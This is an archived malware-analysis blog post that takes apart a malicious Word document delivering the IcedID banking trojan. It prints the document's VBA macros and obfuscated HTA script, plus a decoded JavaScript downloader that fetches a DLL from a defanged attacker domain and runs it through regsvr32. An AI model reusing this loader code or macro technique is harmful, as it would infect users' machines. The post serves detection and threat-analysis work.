{
	"id": "b70e343e-053b-4b4f-afb6-2293a4738467",
	"created_at": "2026-04-06T00:12:15.755066Z",
	"updated_at": "2026-04-10T03:20:40.936328Z",
	"deleted_at": null,
	"sha1_hash": "e62a782e2d56f3a9803bdee7320c5cdfd8577ec2",
	"title": "Analyzing an IcedID Loader Document",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1065364,
	"plain_text": "Analyzing an IcedID Loader Document\r\nPublished: 2022-01-01 · Archived: 2026-04-05 19:53:53 UTC\r\nIn this post I’m going to walk through an analysis of a malicious document that distributes and executes an IcedID DLL\r\npayload.\r\nThe original document can be found on MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/ecd84fa8d836d5057149b2b3a048d75004ca1a1377fcf2f5e67374af3a1161a0/\r\nAnalyzing the Document\r\nWe can start off by looking at the document properties with exiftool .\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 1 of 9\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\nremnux@remnux:~/cases/icedid$ exiftool maldoc.doc\r\nExifTool Version Number : 12.30\r\nFile Name : maldoc.doc\r\nDirectory : .\r\nFile Size : 78 KiB\r\nFile Modification Date/Time : 2022:01:01 00:52:52-05:00\r\nFile Access Date/Time : 2021:12:31 20:06:54-05:00\r\nFile Inode Change Date/Time : 2021:12:31 19:54:10-05:00\r\nFile Permissions : -rw-r--r--\r\nFile Type : DOC\r\nFile Type Extension : doc\r\nMIME Type : application/msword\r\nIdentification : Word 8.0\r\nLanguage Code : English (US)\r\nDoc Flags : Has picture, 1Table, ExtChar\r\nSystem : Windows\r\nWord 97 : No\r\nTitle :\r\nSubject :\r\nAuthor :\r\nKeywords :\r\nComments : ta\r\nTemplate : Normal\r\nLast Modified By : Пользователь Windows\r\nSoftware : Microsoft Office Word\r\nCreate Date : 2021:12:27 11:02:00\r\nModify Date : 2021:12:27 11:02:00\r\nSecurity : None\r\nCode Page : Windows Cyrillic\r\nCategory : explorer\r\nManager :\r\nCompany : ript.sh\r\nBytes : 26624\r\nChar Count With Spaces : 16233\r\nApp Version : 16.0000\r\nScale Crop : No\r\nLinks Up To Date : No\r\nShared Doc : No\r\nHyperlinks Changed : No\r\nTitle Of Parts :\r\nHeading Pairs : Название, 1\r\nComp Obj User Type Len : 32\r\nComp Obj User Type : �������� Microsoft Word 97-2003\r\nLast Printed : 0000:00:00 00:00:00\r\nRevision Number : 2\r\nTotal Edit Time : 0\r\nWords : 116\r\nCharacters : 16118\r\nPages : 1\r\nParagraphs : 1\r\nLines : 65\r\nWe can see a few parts of the document properties are weird, like Company containing ript.sh . From here we can usually\r\nassume some form of a macro or exploit is involved, so we can use oledump.py to investigate macros first.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nremnux@remnux:~/cases/icedid$ oledump.py maldoc.doc\r\n 1: 114 '\\x01CompObj'\r\n 2: 4096 '\\x05DocumentSummaryInformation'\r\n 3: 4096 '\\x05SummaryInformation'\r\n 4: 7224 '1Table'\r\n 5: 26648 'Data'\r\n 6: 398 'Macros/PROJECT'\r\n 7: 56 'Macros/PROJECTwm'\r\n 8: M 2420 'Macros/VBA/ThisDocument'\r\n 9: 2896 'Macros/VBA/_VBA_PROJECT'\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 2 of 9\n\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n 10: 1708 'Macros/VBA/__SRP_0'\r\n 11: 241 'Macros/VBA/__SRP_1'\r\n 12: 983 'Macros/VBA/__SRP_2'\r\n 13: 364 'Macros/VBA/__SRP_3'\r\n 14: 553 'Macros/VBA/dir'\r\n 15: M 1103 'Macros/VBA/main'\r\n 16: 19522 'WordDocument'\r\nThe output from oledump.py indicates streams 8 and 15 contain macro content, so let’s dive into those. Using oledump.py\r\n-v -s 8 and -s 15 we can get the contents of the macros. I’ve annotated the macros with contents below:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\nAttribute VB_Name = \"ThisDocument\"\r\nAttribute VB_Base = \"1Normal.ThisDocument\"\r\nAttribute VB_GlobalNameSpace = False\r\nAttribute VB_Creatable = False\r\nAttribute VB_PredeclaredId = True\r\nAttribute VB_Exposed = True\r\nAttribute VB_TemplateDerived = True\r\nAttribute VB_Customizable = True\r\n'contents() finds contents of the document and removes all instances of s3x\r\nFunction contents()\r\n With ActiveDocument.Content\r\n superI7Center = .Find.Execute(FindText:=\"s3x\", ReplaceWith:=\"\", Replace:=2)\r\n End With\r\nEnd Function\r\n'cont1() returns the specified document property (which is visible with exiftool)\r\nFunction cont1(i7ComputerMonitor)\r\n cont1 = ActiveDocument.BuiltInDocumentProperties(i7ComputerMonitor).Value\r\n contents\r\nEnd Function\r\n'srn1() runs \"CreateObject(\"wscript.shell\").exec Explorer i7Gigabyte.hta\"\r\nPublic Function srn1(mouseVideo)\r\n CreateObject(\"wsc\" + cont1(\"company\") + \"ell\").exec cont1(\"category\") + \" \" + mouseVideo\r\nEnd Function\r\nSub Document_Open()\r\n hny\r\nEnd Sub\r\n...\r\nAttribute VB_Name = \"main\"\r\n'hny() saves the content of the document to i7Gigabyte.hta and executes the contents.\r\nPublic Sub hny()\r\n processorI9 = Trim(\"i7Gigabyte.h\" \u0026 ThisDocument.cont1(\"comments\"))\r\n ActiveDocument.SaveAs2 FileName:=processorI9, FileFormat:=2\r\n ThisDocument.srn1 processorI9\r\nEnd Sub\r\nThe VB macros use these document properties:\r\n1\r\n2\r\nComments : ta\r\nCategory : explorer\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 3 of 9\n\n3 Company : ript.sh\nFrom the macro content, we can expect a few things:\ni7Gigabyte.hta will get written to disk\nMS Word will execute explorer i7Gigabyte.hta\ni7Gigabyte.hta will contain HTML content and likely some JavaScript\nTo get the document content, we can use oledump.py -s 16 and run strings against its output:\n1\n2\n3\n4\nremnux@remnux:~/cases/icedid$ oledump.py -d -s 16 maldoc.doc | strings\nbjbj\ns3xs3x\n\neval\n\nfX17KWUoaGN0YWN9O2Vzb2xjLnh0Um9lZGlWZWxiYXQ7KTIgLCJncGouN0lldHliYWdpZ1xcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMu\n\nABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\n\n31\r\n32\r\n33\r\n34\r\n35\r\n36\r\n37\r\n38\r\n39\r\n40\r\n41\r\n42\r\n43\r\n44\r\n45\r\n46\r\n47\r\n48\r\n49\r\n50\r\n51\r\n52\r\n53\r\n54\r\n55\r\n56\r\n57\r\n58\r\n59\r\n60\r\n61\r\n62\r\n63\r\n64\r\n65\r\n66\r\n67\r\n68\r\n69\r\n70\r\n71\r\n72\r\n73\r\n74\r\n75\r\n76\r\n77\r\n78\r\n while(cardRtxCard \u003c processorMonitorSuper.length){\r\n notebookMouseComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));\r\n gigabyteTableComputer = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));\r\n processorGigabyte = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));\r\n tableCenter = notebookProcessor.indexOf(processorMonitorSuper.charAt(cardRtxCard++));\r\n superProcessorI9 = (notebookMouseComputer \u003c\u003c 2) | (gigabyteTableComputer \u003e\u003e 4);\r\n cardKeyboard = ((gigabyteTableComputer \u0026 15) \u003c\u003c 4) | (processorGigabyte \u003e\u003e 2);\r\n computerComputerSuper = ((processorGigabyte \u0026 3) \u003c\u003c 6) | tableCenter;\r\n videoSuper = videoSuper + String.fromCharCode(superProcessorI9);\r\n if(processorGigabyte != 64){\r\n videoSuper = videoSuper + String.fromCharCode(cardKeyboard);\r\n }\r\n if(tableCenter != 64){\r\n videoSuper = videoSuper + String.fromCharCode(computerComputerSuper);\r\n }\r\n }\r\n return(videoSuper);\r\n }\r\n function i7AsusVideo(i7Processor){\r\n return i7Processor.split('').reverse().join('');\r\n }\r\n function monitorMonitorRtx(processorAsus){\r\n return(i7AsusVideo(tableI9I9(processorAsus)));\r\n }\r\n function asusProcessorMonitor(processorAsus, centerNotebook){\r\n return(processorAsus.split(centerNotebook));\r\n }\r\n cardTableMonitor = window;\r\n tableNotebook = document;\r\n cardTableMonitor['moveTo'](-101, -102);\r\n var tableRtx = cardI9Processor('rtxI7').split(\"---\");\r\n var cardComputerMonitor = monitorMonitorRtx(tableRtx[0]);\r\n var rtxI7Super = monitorMonitorRtx(tableRtx[1]);\r\n \u003c/script\u003e\r\n \u003cscript language='javascript'\u003e\r\n function rtxVideo(processorProcessorVideo){\r\n cardTableMonitor[cardI9Processor('processorRtx')](processorProcessorVideo);\r\n }\r\n \u003c/script\u003e\r\n \u003cscript language='vbscript'\u003e\r\n Call rtxVideo(cardComputerMonitor)\r\n Call rtxVideo(rtxI7Super)\r\n \u003c/script\u003e\r\n \u003cscript language='javascript'\u003e\r\n cardTableMonitor['close']();\r\n \u003c/script\u003e\r\n \u003c/body\u003e\r\n\u003c/html\u003e\r\nWe can make a few hypotheses about the code:\r\n\u003c\u003c and \u003e\u003e and the string ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= show the\r\npossible use of a rotation cipher\r\neval is the JavaScript keyword to execute additional JavaScript code\r\n.split(\"---\") and --- in the larger string above indicate the larger string will get split in two elements\r\nAt the end of the document the scripting changes languages from JavaScript to VBscript but it doesn’t really make a\r\ndifference in execution. The beautiful and handy thing about this stage is that it doesn’t use any Windows-specific scripting\r\nstructures, which means we can easily use a NodeJS REPL to decode everything without having to manually decode the\r\ncipher. To do this, we can split the larger string manually and feed it into the monitorMonitorRtx() function.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n\u003e string1 = 'fX17KWUoaGN0YWN9O2Vzb2xjLnh0Um9lZGlWZWxiYXQ7KTIgLCJncGouN0lldHliYWdpZ1xcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZvdGV2YXMu\r\n\u003e monitorMonitorRtx(string1)\r\n'var videoProcessorSuper = new ActiveXObject(\"msxml2.xmlhttp\");videoProcessorSuper.open(\"GET\", \"hxxp://patelboostg[.]com/frhe\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 5 of 9\n\n6\r\n7\r\n8\r\n9\r\n\u003e var string2 = 'OykiZ3BqLjdJZXR5YmFnaWdcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuZXR5YmFnaUdlbGJhVHh0cjspInRjZWpib21ldHN5\r\n\u003e monitorMonitorRtx(string2)\r\n'var rtxTableGigabyte = new ActiveXObject(\"wscript.shell\");var i7MouseTable = new ActiveXObject(\"scripting.filesystemobject\")\r\nPiecing those components together we get this script that executes via an eval statement:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nvar videoProcessorSuper = new ActiveXObject(\"msxml2.xmlhttp\");\r\nvideoProcessorSuper.open(\"GET\", \"hxxp://patelboostg[.]com/frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv\r\nvideoProcessorSuper.send();\r\nif(videoProcessorSuper.status == 200){\r\n try{\r\n var tableVideoRtx = new ActiveXObject(\"adodb.stream\");\r\n tableVideoRtx.open;\r\n tableVideoRtx.type = 1;\r\n tableVideoRtx.write(videoProcessorSuper.responsebody);\r\n tableVideoRtx.savetofile(\"c:\\\\\\\\users\\\\\\\\public\\\\\\\\gigabyteI7.jpg\", 2);\r\n tableVideoRtx.close;\r\n } catch(e){\r\n }\r\n}\r\nvar rtxTableGigabyte = new ActiveXObject(\"wscript.shell\");var i7MouseTable = new ActiveXObject(\"scripting.filesystemobject\")\r\nSome more hypotheses:\r\nSomething (presumably a DLL) gets downloaded from patelboostg[.]com\r\nThe something gets written to c:\\users\\public\\gigabyteI7.jpg\r\nThe HTA document (executed by mshta.exe ) will execute regsvr32 c:\\users\\public\\gigabyteI7.jpg\r\nAnalyzing the Downloaded DLL\r\nThe downloaded DLL has these properties:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nfilepath: gigabyteI7.jpg\r\nmd5: 815d99185422a8a1f891f902824da431\r\nsha1: 0b33b6b89e805e180e6e1bb272bb66de6c9f99d0\r\nsha256: 317383e111b7d1c2e9b6743f7b71263bff669d2e47c3e1a7853e1e616d6b1317\r\nssdeep: 3072:aiKU8Wb6WxbqCM8aSEFrsEdRBHS3XVJS3YMJ/Pu0DMLLcLGiDZxr:AUnlMMCrr9SnV0VLGi9d\r\nimphash: 00a5fbfb9a1df393796976ca031dea1e\r\nrich: cb10e59fdfb53fda4e672326b51f6e56\r\nThe import table hash (imphash) and rich header hash (rich) can help you find similar samples in VirusTotal or other\r\nservices. When combining searches using both of those hash values you can discover samples with similar capabilities made\r\nin similar build environments when compared with this DLL sample.\r\nLooking at the DLL with pedump , we find some more data. First, the DLL exports:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n=== EXPORTS ===\r\n# module \"stub.dll\"\r\n# flags=0x0 ts=\"2106-02-07 06:28:15\" version=0.0 ord_base=1\r\n# nFuncs=3 nNames=3\r\n ORD ENTRY_VA NAME\r\n 1 a84c DllGetClassObject\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 6 of 9\n\n9\r\n10\r\n 2 a814 DllRegisterServer\r\n 3 ab5c PluginInit\r\nThe export DllRegisterServer jives with what we can expect of the malware, it’s the DLL export used by regsvr32.exe .\r\nIf we decide to continue analysis with Ghidra or another tool that’s an excellent entry point to start analysis. The export\r\nPluginInit is also interesting. I usually expect exports like DllRegisterServer , DllUnregisterServer , DllMain ,\r\nServiceMain , or others, and PluginInit isn’t one I commonly encounter. This would also be another excellent lead in\r\nGhidra.\r\nUsing manalyze we can also see some suspicious imports:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n[ SUSPICIOUS ] The PE contains functions most legitimate programs don't use.\r\n [!] The program may be hiding some of its imports:\r\n GetProcAddress\r\n LoadLibraryExW\r\n Functions which can be used for anti-debugging purposes:\r\n SwitchToThread\r\n Memory manipulation functions often used by packers:\r\n VirtualProtect\r\n VirtualAlloc\r\nVirtualAlloc, VirtualProtect, and SwitchToThread might be fun breakpoints if we decide to get rowdy with a debugger.\r\nConfirming Hypotheses with a Sandbox\r\nWe can dive deeper into static analysis using Ghidra and x64debug, but I wan to eventually go to bed tonight. So I’m going\r\nto consult sandbox reports from ANY.RUN and Tria.ge.\r\nhttps://app.any.run/tasks/0747e33b-70c5-4154-ae55-5111424b02ac/\r\nhttps://tria.ge/211231-m85kasfchr\r\nLooking at those reports, we can confirm our hypotheses about process ancestry.\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 7 of 9\n\nThe Tria.ge report suggests another data point, that this threat is classified as IcedID. Again, this jives with previous data\r\nfrom MalwareBazaar suggesting the original document was related to IcedID.\r\nHow Do We Know It’s IcedID???\r\nOne of the things that greatly bothers me about many intelligence reports/blog posts/etc. is that they often don’t spell out\r\nhow they know the malware is related to a named threat. So I’m going to go the extra step to do that here.\r\nFirst, the export PluginInit has been documented with IcedID before:\r\nhttps://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html\r\nhttps://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html\r\nhttps://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/\r\nNext, we can dig into the Tria.ge report. The reports suggests it found evidence of IcedID based on this Suricata alert:\r\n1 alert http $HOME_NET any -\u003e $EXTERNAL_NET any (msg:\"ET MALWARE Win32/IcedID Request Cookie\"; flow:established,to_server; http\r\nEssentially, the rule hits on HTTP GET requests with cookies containing _gads= , _gat= , _ga= , _u= , _io= , and\r\n_gid= values. These fields are explained within the blog post mentioned in the rule\r\nhttps://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html.\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 8 of 9\n\nIf Suricata found criteria that hit that rule, we can confirm the alert using a PCAP from the sandbox report. We can toss this\r\ninto Wireshark and follow the TCP stream that aligns with unencrypted HTTP traffic on port 80.\r\nWithin that stream we can see the cookie values Suricata found:\r\n1\r\n2\r\n3\r\nCookie: __gads=2507181075:1:259392:73; _gat=10.0.15063.64; _ga=1.198354.1970169159.96;\r\n _u=4D484B4B48555949:41646D696E:34384630373343324432444138443743;\r\n __io=21_369956170_74428499_1628131376; _gid=B3BF3B3C3D65\r\nIf the threat really is IcedID, we should be able to decode these cookie values using the method described in the Sysopfb\r\nblog post above. According to the post, the _u value can be decoded using unhexlify in Python. We can give that a shot\r\nhere to see if it decodes properly:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n\u003e\u003e\u003e import binascii\r\n\u003e\u003e\u003e binascii.unhexlify('4D484B4B48555949')\r\nb'MHKKHUYI'\r\n\u003e\u003e\u003e binascii.unhexlify('41646D696E')\r\nb'Admin'\r\nThe first value decodes to what was presumably the sandbox VM’s hostname and the second value decodes to the affected\r\nusername.\r\nThe _gat value contains 10.0.15063.64 . The Sysopfb blog post indicates that in IcedID this corresponds to the victim’s\r\nWindows version. This version we see in the cookie does correspond to a known Windows build, so that data overlaps.\r\nThese cookie overlaps alongside PluginInit give me enough data points to assert with medium to high confidence we’re\r\nlooking at IcedID.\r\nThanks for joining in, and Happy New Year!!!\r\nSource: https://forensicitguy.github.io/analyzing-icedid-document/\r\nhttps://forensicitguy.github.io/analyzing-icedid-document/\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/analyzing-icedid-document/"
	],
	"report_names": [
		"analyzing-icedid-document"
	],
	"threat_actors": [],
	"ts_created_at": 1775434335,
	"ts_updated_at": 1775791240,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e62a782e2d56f3a9803bdee7320c5cdfd8577ec2.pdf",
		"text": "https://archive.orkl.eu/e62a782e2d56f3a9803bdee7320c5cdfd8577ec2.txt",
		"img": "https://archive.orkl.eu/e62a782e2d56f3a9803bdee7320c5cdfd8577ec2.jpg"
	}
}